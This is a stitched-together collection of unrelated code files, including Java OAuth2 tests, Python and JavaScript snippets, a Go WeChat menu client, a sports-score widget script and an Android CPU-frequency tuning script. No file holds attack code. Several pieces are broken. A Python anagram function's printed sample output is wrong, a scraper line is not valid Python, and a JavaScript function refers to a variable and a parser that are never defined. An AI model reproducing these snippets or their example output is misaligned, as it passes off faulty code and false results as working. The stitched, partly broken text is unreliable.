confidentialClientId, clientSecret, code);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
requestAuthorizedClientList(userAuthHeader);
}
private void testListAuthorizedClientWithMultipleAccessTokens (
String userAuthHeader) throws KustvaktException {
// client 1
String code = requestAuthorizationCode(publicClientId, "",
null, userAuthHeader);
ClientResponse response = requestTokenWithAuthorizationCodeAndForm(
publicClientId, "", code);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
requestAuthorizedClientList(userAuthHeader);
}
private void testListWithClientsFromAnotherUser (
String userAuthHeader) throws KustvaktException {
String aaaAuthHeader = HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue("aaa", "pwd");
// client 1
String code = requestAuthorizationCode(publicClientId, "",
null, aaaAuthHeader);
ClientResponse response = requestTokenWithAuthorizationCodeAndForm(
publicClientId, "", code);
JsonNode node = JsonUtils.readTree(response.getEntity(String.class));
String accessToken1 = node.at("/access_token").asText();
// client 2
code = requestAuthorizationCode(confidentialClientId, clientSecret,
null, aaaAuthHeader);
response = requestTokenWithAuthorizationCodeAndForm(
confidentialClientId, clientSecret, code);
node = JsonUtils.readTree(response.getEntity(String.class));
String accessToken2 = node.at("/access_token").asText();
String refreshToken = node.at("/refresh_token").asText();
requestAuthorizedClientList(aaaAuthHeader);
requestAuthorizedClientList(userAuthHeader);
testRevokeAllTokenViaSuperClient(publicClientId, aaaAuthHeader,
accessToken1);
testRevokeAllTokenViaSuperClient(confidentialClientId, aaaAuthHeader,
accessToken2);
testRequestTokenWithRevokedRefreshToken(confidentialClientId, clientSecret,
refreshToken);
}
private void testRevokeAllTokenViaSuperClient (String clientId,
String userAuthHeader, String accessToken)
throws KustvaktException {
// check token before revoking
ClientResponse response = searchWithAccessToken(accessToken);
JsonNode node = JsonUtils.readTree(response.getEntity(String.class));
assertTrue(node.at("/matches").size() > 0);
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("client_id", clientId);
form.add("super_client_id", superClientId);
form.add("super_client_secret", clientSecret);
response = resource().path(API_VERSION).path("oauth2").path("revoke")
.path("super").path("all")
.header(Attributes.AUTHORIZATION, userAuthHeader)
.header(HttpHeaders.CONTENT_TYPE,
ContentType.APPLICATION_FORM_URLENCODED)
.entity(form).post(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
assertEquals("SUCCESS", response.getEntity(String.class));
response = searchWithAccessToken(accessToken);
node = JsonUtils.readTree(response.getEntity(String.class));
assertEquals(StatusCodes.INVALID_ACCESS_TOKEN,
node.at("/errors/0/0").asInt());
assertEquals("Access token is invalid",
node.at("/errors/0/1").asText());
}
@Test
public void testListRegisteredClients ()
throws KustvaktException {
String clientName = "OAuth2DoryClient";
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName(clientName);
json.setType(OAuth2ClientType.PUBLIC);
json.setDescription("This is dory client.");
registerClient("dory", json);
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("super_client_id", superClientId);
form.add("super_client_secret", clientSecret);
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("list")
.header(Attributes.AUTHORIZATION, userAuthHeader)
.header(HttpHeaders.CONTENT_TYPE,
ContentType.APPLICATION_FORM_URLENCODED)
.entity(form).post(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
String entity = response.getEntity(String.class);
JsonNode node = JsonUtils.readTree(entity);
assertEquals(1, node.size());
assertEquals(clientName, node.at("/0/client_name").asText());
assertEquals(OAuth2ClientType.PUBLIC.name(), node.at("/0/client_type").asText());
String clientId = node.at("/0/client_id").asText();
testDeregisterPublicClient(clientId, "dory");
}
}
|
def anagrams(arr):
anagrams = []
visited = set()
for word in arr:
if word in visited:
continue
visited.add(word)
current_anagrams = []
for word2 in arr:
if word != word2 and sorted(word) == sorted(word2):
current_anagrams.append(word2)
if current_anagrams:
anagrams.append([word, current_anagrams])
return anagrams
anagrams_arr = anagrams(arr)
print(anagrams_arr)
# [['dear', ['read', 'dare']], ['dram', ['mad', 'rage']], ['reda', ['dare', 'read']]] |
<gh_stars>1-10
/**
*/
let moment = require('moment');
const remote = require('./util')
//一组单元测试流程
describe('众筹(cpFunding)', function() {
it('cpfunding.listRecord 列表', async () => {
let msg = await remote.login({openid: `${Math.random()*1000000000 | 0}`});
if(remote.isSuccess(msg)) {
let msg = await remote.fetching({func: "cpfunding.ListRecord",userinfo:{id:1}});
console.log(msg);
}
});
it('cpfunding.Retrieve 获取指定id的记录', async () => {
let msg = await remote.login({openid: `${Math.random()*1000000000 | 0}`});
if(remote.isSuccess(msg)) {
console.log(await remote.fetching({func: "cpfunding.Retrieve",userinfo:{id:1}, id: 1}));
}
}
);
});
|
# Imports
import requests
from bs4 import BeautifulSoup
# Request the web page
page = requests.get(Web page URL)
# Create soup object with html.parser
soup = BeautifulSoup(page.text, 'html.parser')
# Scrape data from web page
content = [item.text for item in soup.find_all('p')] |
import { PointLightDirective } from './point-light.directive';
describe('PointLightDirective', () => {
it('should create an instance', () => {
const directive = new PointLightDirective();
expect(directive).toBeTruthy();
});
});
|
/*
* Copyright (C) 2012-2014 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package info.archinnov.achilles.schemabuilder;
/**
* Static methods to build a CQL3 DML statement.
* <p>
* Available DML statements: CREATE/ALTER/DROP
* <p>
* Note that it could be convenient to use an 'import static' to use the methods of this class.
*/
public final class SchemaBuilder {
private SchemaBuilder() {
}
/**
* Start building a new CREATE TABLE statement
*
* @param tableName the name of the table to create.
* @return an in-construction CREATE TABLE statement.
*/
public static Create createTable(String tableName) {
return new Create(tableName);
}
/**
* Start building a new CREATE TABLE statement
*
* @param keyspaceName the name of the keyspace to be used.
* @param tableName the name of the table to create.
* @return an in-construction CREATE TABLE statement.
*/
public static Create createTable(String keyspaceName, String tableName) {
return new Create(keyspaceName, tableName);
}
/**
* Start building a new ALTER TABLE statement
*
* @param tableName the name of the table to be altered.
* @return an in-construction ALTER TABLE statement.
*/
public static Alter alterTable(String tableName) {
return new Alter(tableName);
}
/**
* Start building a new ALTER TABLE statement
*
* @param keyspaceName the name of the keyspace to be used.
* @param tableName the name of the table to be altered.
* @return an in-construction ALTER TABLE statement.
*/
public static Alter alterTable(String keyspaceName, String tableName) {
return new Alter(keyspaceName, tableName);
}
/**
* Start building a new DROP TABLE statement
*
* @param tableName the name of the table to be dropped.
* @return an in-construction DROP TABLE statement.
*/
public static Drop dropTable(String tableName) {
return new Drop(tableName);
}
/**
* Start building a new DROP TABLE statement
*
* @param keyspaceName the name of the keyspace to be used.
* @param tableName the name of the table to be dropped.
* @return an in-construction DROP TABLE statement.
*/
public static Drop dropTable(String keyspaceName, String tableName) {
return new Drop(keyspaceName, tableName);
}
/**
* Start building a new CREATE INDEX statement
*
* @param indexName the name of the table to create.
* @return an in-construction CREATE INDEX statement.
*/
public static CreateIndex createIndex(String indexName) {
return new CreateIndex(indexName);
}
}
|
<gh_stars>1-10
/**************************************************************************/
/**
Liquid-Crystal Display (LCD)
The Liquid-Crystal Display (LCD) that can display textual information.
@file LCD.h
@author <NAME> (CharmySoft) <<EMAIL>>
*/
/**************************************************************************/
#ifndef _LCD_H_
#define _LCD_H_
#include <Arduino.h>
#include <LiquidCrystal.h>
#include "Context.h"
/** A subclass of LiquidCrystal that can display textual information. */
class LCD : public LiquidCrystal, private Context
{
public:
/** Constructor. Initialize the liquid-crystal display with corresponding
pins */
LCD();
/** Set up the LCD's number of columns and rows. This function should be
called before anything else. */
void setup();
/** Refresh the LCD's content. This clears everything already written to
the LCD screen, and write the updated content. This function should
be called in the main loop. */
void update();
/** Set the text to show on the first line. */
void setTopText(String text);
/** Set the text to show on the second line. */
void setBottomText(String text);
/** Set the bottom text by a color result.
@param result The result of a color. */
void setBottomTextByResult(colorResult result);
protected:
/** Print text to the LCD. This is to protect the `print` method so it
cannot be publically accessed. You should use `setTopText` and
`setBottomText` instead. */
void print(char const*);
String sTopText; /**< The text to be shown on the first line. */
String sBtmText; /**< The text to be shown on the second line. */
boolean bDirty; /**< Does screen content need to refresh. */
};
#endif // _LCD_H_
|
<gh_stars>0
import React from "react";
import Modal from "react-bootstrap/Modal";
import Button from "react-bootstrap/Button";
import Card from "react-bootstrap/Card";
class SelectedPaintings extends React.Component {
render() {
return (
<div>
<div className="modalDiv">
<Modal show={this.props.show} onHide={this.props.handleClose}>
<Modal.Header closeButton>
<Modal.Title className="modalDiv">
{" "}
{this.props.selectedModal.name}
</Modal.Title>
</Modal.Header>
<Card.Img variant="top" src={this.props.selectedModal.image_id} />
<Modal.Body className="modalDiv">
{this.props.selectedModal.location}
</Modal.Body>
<Modal.Body className="modalDiv">
{this.props.selectedModal.artist_display}
</Modal.Body>
<Modal.Body className="modalDiv">
{this.props.selectedModal.title}{" "}
</Modal.Body>
<Modal.Footer>
<Button
variant="secondary"
onClick={this.props.handleClose}
className="modalDiv"
>
Close
</Button>
</Modal.Footer>
</Modal>
</div>
</div>
);
}
}
export default SelectedPaintings;
|
curl https://files.rcsb.org/download/1WNS.cif -o ./CIF\ Files/1wns.cif
curl https://files.rcsb.org/download/3J3Y.cif -o ./CIF\ Files/3j3y.cif
|
def celsius_to_fahrenheit(celsius):
return celsius * (9/5) + 32
temperature = celsius_to_fahrenheit(32)
print("32°C is equal to %.2f°F" % temperature) |
<gh_stars>0
package weixin
import (
"errors"
"fmt"
)
// 个性化菜单
const (
MenuCreateConditionalURL = "https://api.weixin.qq.com/cgi-bin/menu/addconditional?access_token=%s"
MenuTryMatchConditionalMenuURL = "https://api.weixin.qq.com/cgi-bin/menu/trymatch?access_token=%s"
MenuDeleteConditionalURL = "https://api.weixin.qq.com/cgi-bin/menu/delconditional?access_token=%s"
)
// ConditionalMenu 个性化菜单
type ConditionalMenu struct {
Button []Button `json:"button"` // 一级菜单数组,个数应为1~3个
MatchRule MatchRule `json:"matchrule"` // 菜单匹配规则
}
// MatchRule 菜单匹配规则,六个字段,均可为空,但不能全部为空,至少要有一个匹配信息是不为空的,
type MatchRule struct {
GroupId int `json:"group_id,omitempty"` // 用户分组id,可通过用户分组管理接口获取
Sex int `json:"sex,omitempty"` // 性别:男(1)女(2),不填则不做匹配
// 客户端版本,当前只具体到系统型号:IOS(1), Android(2),Others(3),不填则不做匹配
ClientPlatformType int `json:"client_platform_type,omitempty"`
// country、province、city组成地区信息,将按照country、province、city的顺序进行验证,
// 要符合地区信息表的内容。地区信息从大到小验证,小的可以不填,即若填写了省份信息,则国家信
// 息也必填并且匹配,城市信息可以不填。 例如 “中国 广东省 广州市”、“中国 广东省”都是合法
// 的地域信息,而“中国 广州市”则不合法,因为填写了城市信息但没有填写省份信息。
// 地区信息表:http://mp.weixin.qq.com/wiki/static/assets/870a3c2a14e97b3e74fde5e88fa47717.zip
Country string `json:"country,omitempty"` // 国家信息,是用户在微信中设置的地区,具体请参考地区信息表
Province string `json:"province,omitempty"` // 省份信息,是用户在微信中设置的地区,具体请参考地区信息表
City string `json:"city,omitempty"` // 城市信息,是用户在微信中设置的地区,具体请参考地区信息表
}
// CreateConditionalMenu 创建个性化菜单
func CreateConditionalMenu(cm *ConditionalMenu) (menuId string, err error) {
if len(cm.Button) > 3 {
return "", errors.New("too many first level menu, must less than 3")
}
for _, sub := range cm.Button {
if len(sub.SubButton) > 5 {
return "", errors.New("too many second level menu, must less than 5")
}
}
url := fmt.Sprintf(MenuCreateConditionalURL, AccessToken())
wapper := &struct {
MenuId string `json:"menuid"`
}{}
err = PostMarshalUnmarshal(url, cm, wapper)
return wapper.MenuId, err
}
// DeleteConditionalMenu 删除个性化菜单,menuId 为菜单 id,可以通过自定义菜单查询接口获取
func DeleteConditionalMenu(menuId int) (err error) {
url := fmt.Sprintf(MenuDeleteConditionalURL, AccessToken())
js := fmt.Sprintf(`{"menuid":"%d"}`, menuId)
err = Post(url, []byte(js))
return err
}
// TryMatchConditionalMenu 测试个性化菜单匹配结果,userId 可以是粉丝的 OpenID,也可以是粉丝的微信号
func TryMatchConditionalMenu(userId string) (buttons []Button, err error) {
url := fmt.Sprintf(MenuTryMatchConditionalMenuURL, AccessToken())
js := fmt.Sprintf(`{"user_id":"%s"}`, userId)
wapper := &struct {
Button []Button `json:"button"`
}{}
err = PostUnmarshal(url, []byte(js), wapper)
return wapper.Button, err
}
|
<filename>scoreboard/Smart Scores.js
// Variables used by Scriptable.
// These must be at the very top of the file. Do not edit.
// icon-color: deep-blue; icon-glyph: basketball-ball;
const favorite_teams = [
{
tsdb_id : 133610,
name : 'Chelsea',
hide_scores : false,
abbrev : "",
league : [
{id: 4328, name: "epl", grp: "tsdb"},
{id: 4480, name: "ucl", grp: "tsdb"},
{id: 4481, name: "uel", grp: "tsdb"},
{id: 4482, name: "fac", grp: "tsdb"},
{id: 4503, name: "clwc", grp: "tsdb"},
{id: 4570, name: "flc", grp: "tsdb"},
{id: 4571, name: "fash", grp: "tsdb"}
]
},
{
tsdb_id : 135252,
name : 'Sox',
hide_scores : true,
abbrev : "BOS",
league : [{id : 4424, name : "mlb", grp: "mlb"}],
},
{
tsdb_id : 134860,
name : 'Celts',
hide_scores : false,
abbrev : 'BOS',
league : [{id : 4387, name : 'nba', grp: "nba"}]
},
{
tsdb_id : 134920,
name : 'Pats',
hide_scores : false,
abbrev : "",
league : [{id : 4391, name : 'nfl', grp: "nfl"}]
},
{
tsdb_id : 133907,
name : 'Germany',
hide_scores : false,
abbrev: "",
league : [{id: 4498, name: "confed", grp: "tsdb"},{id: 4429, name: "wc", grp: "tsdb"},{id: 4502, name: "euro", grp: "tsdb"}]
},
{
tsdb_id : 133914,
name : 'England',
hide_scores : false,
abbrev: "",
league : [{id: 4498, name: "confed", grp: "tsdb"},{id: 4429, name: "wc", grp: "tsdb"},{id: 4502, name: "euro", grp: "tsdb"}]
},
{
tsdb_id : 134514,
name : 'USMNT',
hide_scores : false,
abbrev: "",
league : [{id: 4498, name: "confed", grp: "tsdb"},{id: 4429, name: "wc", grp: "tsdb"}]
},
{
tsdb_id : 136971,
name : "<NAME>",
hide_scores : false,
abbrev : "",
league : [{id: 4479, name: "ncaaf",grp: "tsdb"}]
},
{
tsdb_id : 138622,
name: "<NAME>",
hide_scores : false,
abbrev: "UVA",
league : [{id: 4607, name: "ncaab",grp: "tsdb"}]
},
{
tsdb_id : 136868,
name : "BC Football",
hide_scores : false,
abbrev : "",
league : [{id: 4479, name: "ncaaf",grp: "tsdb"}]
},
{
tsdb_id : 138610,
name: "BC Hoops",
hide_scores : false,
abbrev: "BC",
league : [{id: 4607, name: "ncaab",grp: "tsdb"}]
},
]
// 134514 usmnt
// 133907 dfb
// 133914 eng
// 136971 hoos f
// 138622 hoos b
// 136868 bc f
// 138610 bc b
const league_info = {
mlb : {
league_name : "MLB",
apis : [
{
api_id : "mlb.com",
url: "http://gdx.mlb.com/components/game/mlb/$1/master_scoreboard.json",
date_type: 2,
headers : [],
},
{
api_id : "thesportsdb",
url : "",
date_type : 1,
headers : [],
}
]
},
nba : {
league_name : "NBA",
apis : [
{
api_id : "nba.com",
url : "http://data.nba.net/10s/prod/v1/$1/scoreboard.json",
date_type : 3,
headers : [],
},
{
api_id : "thesportsdb",
url : "",
date_type : 1,
headers : [],
}
]
}
}
let now = new Date();
let distinct_leagues = [];
let scores = {};
function getFormattedDate(date, date_type) {
let working_date = new Date(date);
let output_date;
let yr = working_date.getFullYear().toString();
let mnth = ("0" + (working_date.getMonth()+1)).slice(-2);
let dy = ("0" + working_date.getDate()).slice(-2);
if (date_type == 2) {
output_date = "year_"+yr+"/month_"+mnth+"/day_"+dy;
} else if (date_type == 3) {
output_date = yr+mnth+dy;
} else {
output_date = yr+'-'+mnth+'-'+dy;
}
return output_date;
}
async function buildAPIURL(api_url, d_type) {
let api_date = await getFormattedDate(now,d_type);
let final_url = api_url.replace("$1",api_date);
return final_url;
}
const fetchData = async (url, type = 'loadJSON') => {
const request = new Request(url)
const res = await request[type]()
return res
}
const getMLB = async (the_date) => {
let other_games = false;
let schedYear = the_date.getFullYear().toString();
let standings = await fetchData("https://statsapi.mlb.com/api/v1/standings?leagueId=103,104&season="+schedYear+"&standingsTypes=regularSeason")
let gameList = [];
if ('data' in raw_data) {
if ('games' in raw_data.data) {
gameList = raw_data.data.games.game;
}
}
if (gameList != undefined && gameList.length > 0) {
for (gm of gameList) {
if (gm.away_code == "bos" || gm.home_code == "bos") {
console.log(gm);
}
}
}
}
//across all teams, find the leagues needed to be checked
for (ft of favorite_teams) {
for (l of ft.league) {
if (!distinct_leagues.includes(l.grp) && l.grp in league_info) {
distinct_leagues.push(l.grp);
}
}
}
//for necessary groups, get the data
let gathered = false;
let api_call;
let nl;
for (dl of distinct_leagues) {
gathered = false;
nl = league_info[dl]
for (a of nl.apis) {
if (!gathered) {
api_call = a.url.replace("$1",getFormattedDate(now, a.date_type));
try {
api_response = await fetchData(api_call);
if (dl == 'mlb') {
parseMLB(api_response);
}
} catch (error) {
console.log('There was an error');
}
}
}
}
|
def is_symmetric(matrix):
if len(matrix) != len(matrix[0]):
return False
for i in range(len(matrix)):
for j in range(len(matrix[0])):
if matrix[i][j] != matrix[j][i]:
return False
return True |
#!/bin/bash
set -e
version=$( cat artifactory-repo/build-info.json | jq -r '.buildInfo.modules[0].id' | sed 's/.*:.*:\(.*\)/\1/' )
java -jar /github-changelog-generator.jar \
--changelog.repository=spring-io/asciidoctor-spring-backend \
${version} generated-changelog/changelog.md
echo ${version} > generated-changelog/version
echo v${version} > generated-changelog/tag
|
package org.adligo.models.core.shared;
import org.adligo.i.util.shared.I_Immutable;
public class Org implements I_Org, I_Validateable, I_Immutable {
private OrgMutant mutant;
public Org() {
mutant = new OrgMutant();
}
public Org(I_Org other) throws InvalidParameterException {
mutant = new OrgMutant(other);
}
public I_StorageIdentifier getType() {
I_StorageIdentifier toRet = mutant.getType();
if (toRet != null) {
return toRet.toImmutable();
}
return null;
}
public String getName() {
return mutant.getName();
}
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
try {
return OrgMutant.equals(this, (I_Org) obj);
} catch (ClassCastException x) {
//eat gwt doesn't impl instance of
}
return false;
}
public int hashCode() {
return OrgMutant.genHashCode(this);
}
public void isValid() throws ValidationException {
mutant.isValid();
}
public String toString() {
return mutant.toString(this.getClass(), this);
}
public String getImmutableFieldName() {
return "mutant";
}
public I_CustomInfo getCustomInfo() {
I_CustomInfo customInfo = mutant.getCustomInfo();
if (customInfo != null) {
try {
return customInfo.toImmutable();
} catch (ValidationException ve) {
//do nothing
}
}
return null;
}
public I_Org toImmutable() throws ValidationException {
return this;
}
public I_OrgMutant toMutant() throws ValidationException {
try {
return new OrgMutant(this);
} catch (InvalidParameterException ipe) {
throw new ValidationException(ipe);
}
}
public boolean isStored() throws ValidationException {
return mutant.isStored();
}
public I_StorageIdentifier getId() {
return mutant.getId();
}
public I_StorageInfo getStorageInfo() {
return mutant.getStorageInfo();
}
}
|
db.collection.find({
title: {
$regex: /Data/i
}
}) |
import twitter
import argparse
def fetch_user_tweets(username, key, secret, access_key, access_secret):
api = twitter.Api(consumer_key=key, consumer_secret=secret, access_token_key=access_key, access_token_secret=access_secret)
user_tweets = api.GetUserTimeline(screen_name=username)
return user_tweets
def analyze_tweets(user_tweets):
total_tweets = len(user_tweets)
total_characters = sum(len(tweet.text) for tweet in user_tweets)
average_length = total_characters / total_tweets if total_tweets > 0 else 0
most_liked_tweet = max(user_tweets, key=lambda tweet: tweet.favorite_count)
most_retweeted_tweet = max(user_tweets, key=lambda tweet: tweet.retweet_count)
return total_tweets, average_length, most_liked_tweet, most_retweeted_tweet
def main():
parser = argparse.ArgumentParser(description='Fetch and analyze user tweets from Twitter')
parser.add_argument('-u', '--username', help='Twitter username', required=True)
args = parser.parse_args()
key = 'your_consumer_key'
secret = 'your_consumer_secret'
access_key = 'your_access_token_key'
access_secret = 'your_access_token_secret'
username = args.username
user_tweets = fetch_user_tweets(username, key, secret, access_key, access_secret)
total_tweets, average_length, most_liked_tweet, most_retweeted_tweet = analyze_tweets(user_tweets)
print(f"Total tweets fetched: {total_tweets}")
print(f"Average tweet length: {average_length:.2f} characters")
print(f"Most liked tweet: '{most_liked_tweet.text}' with {most_liked_tweet.favorite_count} likes")
print(f"Most retweeted tweet: '{most_retweeted_tweet.text}' with {most_retweeted_tweet.retweet_count} retweets")
if __name__ == "__main__":
main() |
module HaveIBeenPwned {
"use strict";
routes.$inject = ["$routeProvider"];
function routes($routeProvider: ng.route.IRouteProvider) {
$routeProvider
.when("/search", {
templateUrl: "views/pwned/search.html",
controller: "SearchController"
})
.otherwise({
redirectTo: "/search"
});
}
angular
.module("app")
.config(routes);
} |
package com.datasift.client.pylon;
import com.fasterxml.jackson.annotation.JsonProperty;
import java.util.ArrayList;
import java.util.List;
public class PylonTaskAnalysisResultBucket {
@JsonProperty
protected long interactions;
@JsonProperty("unique_authors")
protected long uniqueAuthors;
@JsonProperty
protected String key;
public PylonTaskAnalysisResultBucket() {
}
public long getInteractions() {
return this.interactions;
}
public long getUniqueAuthors() {
return this.uniqueAuthors;
}
public String getKey() {
return this.key;
}
}
|
#!/usr/bin/env bash
trap 'pkill -P $$' SIGINT SIGTERM EXIT
python train_audio.py --dataset_path google_speech_commands/splitted_data --dataset_split_name train --output_name output/softmax --num_classes 12 --train_dir work/v1/ResNet2D8Model-1.0/mfcc_40_3010_0.001_mom_l1 --num_silent 1854 --augmentation_method anchored_slice_or_pad_with_shift --preprocess_method mfcc --num_mfccs 40 --clip_duration_ms 1000 --window_size_ms 30 --window_stride_ms 10 --batch_size 100 --boundaries 10000 20000 --max_step_from_restore 30000 --lr_list 0.1 0.01 0.001 --absolute_schedule --no-boundaries_epoch --max_to_keep 20 --step_save_checkpoint 500 --step_evaluation 500 --optimizer mom --momentum 0.9 ResNet2D8Model --weight_decay 0.001 --width_multiplier 1.0 &
sleep 5
python evaluate_audio.py --dataset_path google_speech_commands/splitted_data --dataset_split_name valid --output_name output/softmax --num_classes 12 --checkpoint_path work/v1/ResNet2D8Model-1.0/mfcc_40_3010_0.001_mom_l1 --num_silent 258 --augmentation_method anchored_slice_or_pad --preprocess_method mfcc --num_mfccs 40 --clip_duration_ms 1000 --window_size_ms 30 --window_stride_ms 10 --background_frequency 0.0 --background_max_volume 0.0 --max_step_from_restore 30000 --batch_size 3 --no-shuffle --valid_type loop ResNet2D8Model --weight_decay 0.001 --width_multiplier 1.0 &
wait
python evaluate_audio.py --dataset_path google_speech_commands/splitted_data --dataset_split_name test --output_name output/softmax --num_classes 12 --checkpoint_path work/v1/ResNet2D8Model-1.0/mfcc_40_3010_0.001_mom_l1/valid/accuracy/valid --num_silent 257 --augmentation_method anchored_slice_or_pad --preprocess_method mfcc --num_mfccs 40 --clip_duration_ms 1000 --window_size_ms 30 --window_stride_ms 10 --background_frequency 0.0 --background_max_volume 0.0 --max_step_from_restore 30000 --batch_size 39 --no-shuffle --valid_type once ResNet2D8Model --weight_decay 0.001 --width_multiplier 1.0
|
import React from "react";
import axios from "axios";
import MovieCard from "./MovieCard";
export default class Movie extends React.Component {
constructor(props) {
super(props);
this.state = {
movie: null
};
}
componentDidMount() {
this.fetchMovie(this.props.match.params.id);
}
componentWillReceiveProps(newProps) {
if (this.props.match.params.id !== newProps.match.params.id) {
this.fetchMovie(newProps.match.params.id);
}
}
fetchMovie = id => {
axios
.get(`http://localhost:5000/api/movies/${id}`)
.then(res => this.setState({ movie: res.data }))
.catch(err => console.log(err.response));
};
saveMovie = () => {
const addToSavedList = this.props.addToSavedList;
addToSavedList(this.state.movie);
};
render() {
if (!this.state.movie) {
return <div>Loading movie information...</div>;
}
return (
<div className="save-wrapper">
<MovieCard movie={this.state.movie} />
<div className="save-button" onClick={this.saveMovie}>
Save
</div>
</div>
);
}
}
|
#! /vendor/bin/sh
# Copyright (c) 2012-2013, 2016-2019, The Linux Foundation. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of The Linux Foundation nor
# the names of its contributors may be used to endorse or promote
# products derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
function 8953_sched_dcvs_eas()
{
#governor settings
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 1401600 > /sys/devices/system/cpu/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for 8953 and sdm450 it should be 85
echo 85 > /sys/devices/system/cpu/cpufreq/schedutil/hispeed_load
}
function 8917_sched_dcvs_eas()
{
#governor settings
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 1094400 > /sys/devices/system/cpu/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for 8917 it should be 85
echo 85 > /sys/devices/system/cpu/cpufreq/schedutil/hispeed_load
}
function 8937_sched_dcvs_eas()
{
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 1094400 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for 8937 it should be 85
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
## enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 768000 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for 8937 it should be 85
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_load
}
function configure_sku_parameters() {
#read feature id from nvram
reg_val=`cat /sys/devices/platform/soc/780130.qfprom/qfprom0/nvmem | od -An -t d4`
feature_id=$(((reg_val >> 20) & 0xFF))
log -t BOOT -p i "feature id '$feature_id'"
if [ $feature_id == 6 ]; then
echo " SKU Configured : SA6145"
echo 748800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 748800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 748800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 748800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 748800 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 748800 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 1017600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 1017600 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/min_freq
echo 1017600000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/min_freq
echo 1017600000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/max_freq
echo 3 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
